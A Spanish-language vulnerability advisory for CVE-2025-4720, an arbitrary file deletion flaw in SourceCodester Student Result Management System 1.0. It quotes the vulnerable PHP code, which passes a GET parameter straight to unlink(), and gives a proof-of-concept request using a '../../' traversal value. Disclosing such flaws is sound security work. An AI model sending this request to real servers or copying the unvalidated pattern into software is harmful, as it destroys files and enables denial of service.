cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

Eliminación Arbitraria de Archivos en SourceCodester SRMS 1.0

Descripción

Existe una vulnerabilidad de path traversal en el endpoint drop_student.php de SourceCodester Student Result Management System (SRMS) 1.0.

La aplicación toma una entrada controlada por el usuario del parámetro GET img y la pasa directamente a la función unlink() sin validación, permitiendo la eliminación de archivos arbitrarios en el servidor.

---

Código Vulnerable

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

---

Tipo de Vulnerabilidad

• CWE-22: Path Traversal
• Impacto: Eliminación Arbitraria de Archivos

---

Prueba de Concepto (PoC)

1. Crea un archivo en la raíz de la aplicación:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. Envía la siguiente solicitud:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. Observa que el archivo se elimina del servidor.

---

Impacto

Un atacante puede eliminar archivos arbitrarios accesibles al servidor web, incluyendo:

• Archivos de configuración de la aplicación
• Registros
• Contenido subido

Esto puede llevar a una denegación de servicio o a una mayor explotación.

---

Notas Adicionales

Esta vulnerabilidad representa un vector de ataque distinto en comparación con problemas reportados anteriormente en SRMS, ya que:

• Utiliza una solicitud GET
• No requiere subida de archivos
• Potencialmente puede ser explotada mediante CSRF

---

Proveedor

SourceCodester

---

Producto

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho

---

Versión

1.0

---

Autor

Imad Alvi